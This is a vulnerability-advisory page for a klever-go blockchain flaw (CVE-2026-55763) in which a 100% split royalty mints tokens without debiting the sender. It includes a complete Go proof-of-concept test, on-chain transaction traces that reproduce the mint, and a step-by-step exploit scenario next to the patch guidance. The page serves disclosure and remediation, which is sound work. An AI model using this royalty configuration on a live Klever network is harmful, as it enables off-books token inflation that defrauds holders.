Skip to main content

klever-go CVE-2026-55763

| EUVDEUVD-2026-67942 HIGH
Improper Enforcement of Behavioral Workflow (CWE-841)
2026-08-28 https://github.com/klever-io/klever-go GHSA-v358-wf77-39xv
8.7
CVSS 4.0 · Vendor: https://github.com/klever-io/klever-go
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create KDA with 100% split royalty
  2. Delivery
    Any holder initiates asset transfer
  3. Exploit
    Split loop credits attacker address with full royalty pool
  4. Execution
    royaltiesToPay reaches zero, early-return fires
  5. Persist
    Sender SubFromBalance debit skipped
  6. Impact
    Royalty amount minted to attacker per transfer

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Workflow enforcement
Exploitation Conditions

Two-phase exploitation: Phase 1 (owner-gated setup) requires the attacker to own or create a KDA fungible asset on the Klever blockchain with a TransferPercentage royalty entry and a SplitRoyalties map containing exactly one entry where PercentTransferPercentage = 10000 (100%). This configuration passes all validation checks because 100% is treated as a valid split. Phase 2 (unauthenticated trigger) fires automatically on every transfer of the asset by any holder after setup, with no further action required from the attacker. The exploit requires the KdaFpr, EnableSmartContracts, and FixMarketBuyOverflow fork flags to be enabled (the current production fork state). Limiting factors: the attacker must control at least one KDA asset with this royalty structure; per-transfer mint equals transferValue × royaltyRate, so low-volume assets generate proportionally smaller inflation; the off-books nature means supply counters are not updated, so detection requires cross-referencing credited receipts against debited receipts.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VI:H) scores 8.7, but the PR:N metric requires scrutiny: the configuration phase is owner-gated, requiring the attacker to create or own a KDA with a 100% split royalty, which implies at least PR:L. However, once configured, the mint fires automatically on any third-party transfer with no further attacker action (effectively PR:N for the trigger phase). No EPSS data was provided. No CISA KEV listing is present, so the exploitation status is not formally confirmed by CISA. However, the patch at commit 8bcc600 introduces a hardcoded freeze list of six specific Klever mainnet addresses with detailed comments referencing an 'on-chain mint trace' and a prior GHSA (GHSA-p7gw-2pcp-5pf8), which is strong circumstantial evidence of live exploitation. A complete Go proof-of-concept unit test and on-chain reproduction with actual transaction hashes are publicly disclosed. The 'Buffer Overflow' tag in the input data is mislabeled and does not reflect the actual CWE-841 logic-ordering root cause. Real-world risk is high for any operator of the Klever blockchain network, but the affected product is niche, limiting total exposed population.

Exploit ScenarioDerived

An attacker creates a fungible KDA token (e.g., with a 10% transfer royalty and a single 100% SplitRoyalties entry pointing to an attacker-controlled address), then lists it for trading or distributes it to other wallets. Every time any holder transfers the asset, the royalty pool (10% of transfer value) is credited to the attacker's split address while the sender's account is never debited, minting tokens proportional to transfer volume. A publicly available Go unit test (TestExploit_PercentRoyaltyZeroDebit) and an on-chain transaction trace (hash 37527757...bf3706b1, chain ID 420420) confirm the zero-debit mint in both unit and integration conditions.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 28, 2026

Token minting without source debit in klever-go's percentage-transfer royalty path (processPercentageRoyaltiesTransfer) allows an asset owner who configures a 100% split royalty to cause the blockchain to credit the full royalty amount to an attacker-controlled address on every subsequent transfer by any holder, while the sender debit is silently skipped due to an early-return guard placed before the collection call. The exploit fires automatically on third-party transfers once the asset is configured, enabling unbounded off-books token inflation. A full Go unit test and on-chain transaction trace confirming the mint are publicly available; no CISA KEV listing exists, but the patch's inclusion of a hardcoded freeze list for six specific Klever mainnet addresses strongly implies active exploitation occurred prior to the fix.

Earlier versions of this analysis (1)
v1 Aug 28, 2026 - 21:06

Token minting without source debit in klever-go's percentage-transfer royalty processor allows any KDA asset owner to configure an off-books inflation mechanism that fires on every holder's transfer. By setting a single 100% split entry (PercentTransferPercentage = 10000) on a KDA's TransferPercentage royalty, the split recipient is credited the full royalty amount while the sender's SubFromBalance call is bypassed via an early-return guard - creating tokens outside the supply counter. A full proof-of-concept exists (unit test plus on-chain live reproduction on a localnet producing confirmed mint receipts); no public exploitation confirmed by CISA KEV, but exploit code is publicly available in the advisory.

RemediationAI

Upgrade klever-go to v1.7.19 (minimum 1.7.19-rc4), available at https://github.com/klever-io/klever-go/releases/tag/v1.7.19. The fix reorders acntSrc.SubFromBalance(royaltyAmount, ...) to execute before the split distribution loop in processPercentageRoyaltiesTransfer, mirroring the safe pattern in processFixedRoyaltiesTransfer. The patch commit is https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251. The patch also activates a consensus-level account freeze for six known exploiter addresses, gated behind the FixMarketBuyOverflow fork flag - operators must set the activation epoch to a future epoch after fleet rollout, or historical transaction replay during re-sync will diverge. As a compensating control before patching, node operators may consider restricting new KDA asset creation with 100% split royalty configurations at the API or validator level if protocol filtering is available, though this does not remediate already-deployed malicious assets on-chain whose mint will continue to fire on every holder transfer until nodes are upgraded.

Affected VersionsENISA

klever-go < 1.7.19

Affected Packages

go github.com/klever-io/klever-go fix: 1.7.19-rc4
euvd klever_go fix: 1.7.19

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable code resides in the Klever blockchain node (pkg:go/github.com/klever-io/klever-go), specifically processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go. The function handles distribution of percentage-based royalties when KDA (Klever Digital Asset) fungible tokens are transferred. The root cause is CWE-841 (Improper Enforcement of Behavioral Workflow): the split-payout loop iterates over SplitRoyalties entries and credits each recipient's balance before the function evaluates whether the royalty pool is exhausted. The guard if royaltiesToPay <= 0 { return Ok } appears after the distribution loop but before the sender debit acntSrc.SubFromBalance(royaltyAmount, ...). A PercentTransferPercentage of exactly 10000 (100%) is a valid configuration that drives royaltiesToPay to zero in the loop, triggering the early return before collection occurs. The sibling processFixedRoyaltiesTransfer debits the sender first and is unaffected. The exploit requires the KdaFpr, EnableSmartContracts, and FixMarketBuyOverflow fork flags to be active, which represents the current production configuration.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/klever-io/klever-go) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.5 MEDIUM

Configuration requires KDA ownership (PR:L); once set up, trigger fires on any transfer with no confidentiality or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/klever-io/klever-go).

CVSS VectorVendor: https://github.com/klever-io/klever-go

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Aug 28, 2026 - 22:31 vuln.today
v2 - CVSS changed
CVSS changed
Aug 28, 2026 - 22:22 NVD
8.7 (HIGH)
CVE Published
Aug 28, 2026 - 20:27 cve.org
HIGH

DescriptionCVE.org

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that *exceeds* the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a *valid* config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

  • core/kapp/accounts/accounts.go - processPercentageRoyaltiesTransfer: split loop → `if royaltiesToPay <= 0

{ return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer` (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset - not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

<details><summary>Full Go PoC (<code>core/kapp/accounts</code> package, passes = mint confirmed)</summary>

go
package accounts

import (
	"bytes"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/require"

	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
	"github.com/klever-io/klever-go/kapps"
	kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
	const (
		assetIDStr     = "FUNGI-1234"
		transferValue  = int64(800)
		royaltyRatePct = uint32(500) // 5%
		royaltyAmount  = int64(40)   // 800 * 5% = 40
	)

	assetID := []byte(assetIDStr)

	// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
	// path is not short-circuited by core.IsSmartContractAddress.
	senderAddr := bytes.Repeat([]byte{0x11}, 32)
	// Split recipient address must be a valid hex string (computeSplitRoyalties
	// hex-decodes the map key).
	recipientAddr := bytes.Repeat([]byte{0x22}, 32)
	recipientKey := hex.EncodeToString(recipientAddr)
	royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

	buildKDA := func(splitPercent uint32) *kapps.KDAData {
		return &kapps.KDAData{
			AssetType:    kapps.KDAData_Fungible,
			OwnerAddress: senderAddr,
			Royalties: &kapps.RoyaltiesData{
				Address: royaltyReceiverAddr,
				TransferPercentage: []*kapps.RoyaltyData{
					{Amount: 1000, Percentage: royaltyRatePct},
				},
				SplitRoyalties: map[string]*kapps.RoyaltySplitData{
					recipientKey: {PercentTransferPercentage: splitPercent},
				},
			},
		}
	}

	type runResult struct {
		subFromCalls    int
		subFromAmount   int64
		addToRecipient  int64
		addToOwnerRem   int64
		resCode         transaction.Transaction_TXResultCode
		err             error
	}

	run := func(t *testing.T, splitPercent uint32) runResult {
		t.Helper()

		res := runResult{}

		// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
		acntSrc := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return senderAddr },
			GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
			SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.subFromCalls++
				res.subFromAmount += value
				return nil
			},
		}

		// Destination is irrelevant to the royalty pool accounting here.
		acntDst := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
		}

		// Split recipient: capture the credit it receives.
		splitRecipient := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return recipientAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToRecipient += value
				return nil
			},
		}

		// Owner-remainder receiver (only credited when the path does NOT early-return).
		royaltyReceiver := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToOwnerRem += value
				return nil
			},
		}

		cacher := &commonMock.AccountsCacherStub{
			LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				if bytes.Equal(address, recipientAddr) {
					return splitRecipient, nil
				}
				if bytes.Equal(address, royaltyReceiverAddr) {
					return royaltyReceiver, nil
				}
				return acntSrc, nil
			},
			GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				return royaltyReceiver, nil
			},
			UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
		}

		// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
		// (overflow-checked percentage math), and FixMarketBuyOverflow so the
		// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
		fc := &integrationMock.ForkControllerStub{
			KdaFprCalled:               func() bool { return true },
			EnableSmartContractsCalled: func() bool { return true },
			FixMarketBuyOverflowCalled: func() bool { return true },
		}

		kappController := &kvmStub.KAppControllerStub{
			GetCurrentKAppContextCalled: func() kapp.KappContext {
				return kapp.NewKappContext(kapp.ArgsNewKAppContext{
					OriginalSender: senderAddr,
					ContractID:     0,
					ContractType:   transaction.TXContract_TransferContractType,
					Block:          &block.Block{},
				})
			},
		}

		a := &accountsKapp{
			accountsCacher: cacher,
			forkController: fc,
			KAppController: kappController,
		}

		tc := &transaction.TransferContract{
			Amount:       transferValue,
			KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
		}

		kda := buildKDA(splitPercent)

		res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
			tc, assetID, nil, acntSrc, acntDst, kda,
		)
		return res
	}

	// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
	t.Run("split_100pct_mints", func(t *testing.T) {
		r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient
		debited := r.subFromAmount
		mintDelta := credited - debited

		t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
		t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
		t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
		t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
		t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

		// (1) split recipient WAS credited the full royaltyAmount (> 0).
		require.Equal(t, royaltyAmount, credited,
			"split recipient must receive the full royalty pool")
		require.Greater(t, credited, int64(0))

		// (2) the sender's royalty debit was NEVER called -> value created.
		require.Equal(t, 0, r.subFromCalls,
			"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
		require.Equal(t, int64(0), debited)

		// credited > debited => mint of royaltyAmount.
		require.Equal(t, royaltyAmount, mintDelta,
			"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
			mintDelta, assetIDStr)
	})

	// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
	t.Run("split_50pct_conserves", func(t *testing.T) {
		r := run(t, core.HundredPercent/2) // 5000 == 50%

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient + r.addToOwnerRem
		debited := r.subFromAmount

		t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
		t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
		t.Logf("[50%% case] total credited                 = %d", credited)
		t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
		t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
		t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

		// Sender IS debited the full royalty pool exactly once.
		require.Equal(t, 1, r.subFromCalls,
			"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
		require.Equal(t, royaltyAmount, debited)

		// Split (20) + owner remainder (20) == debited (40): value conserved.
		require.Equal(t, royaltyAmount/2, r.addToRecipient)
		require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
		require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
	})
}

</details>

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty - while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

<details><summary>Create tx - <code>F07-3NG3</code>, 10% transfer royalty + single 100% split to <code>R</code> (hash <code>ec2a8e8d…af12bc7f</code>)</summary>

json
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}

</details>

<details><summary>Transfer tx - royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary>

json
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

</details>

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer:

go
err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Technical POC Analysis

CWE-841 (Improper Enforcement of Behavioral Workflow): two ordered behaviors (collect from sender, distribute to recipient) are performed in the wrong order on one code path.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Klever-go's royalty processing mechanism contains a logic flaw enabling unbounded token minting without corresponding sender debits when a 100% split royalty is configured, allowing attackers to create tokens off-books on every third-party transfer. This directly compromises token supply integrity and financial accountability for any platform relying on Klever's blockchain infrastructure for asset or payment operations. The presence of hardcoded freeze addresses in the patch indicates prior real-world exploitation, elevating urgency for immediate patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Low
niche blockchain node; limited to Klever network operators
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A buffer overflow occurs when a program writes more data to a memory buffer than it was allocated to hold, causing the excess data to spill into adjacent memory regions.

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy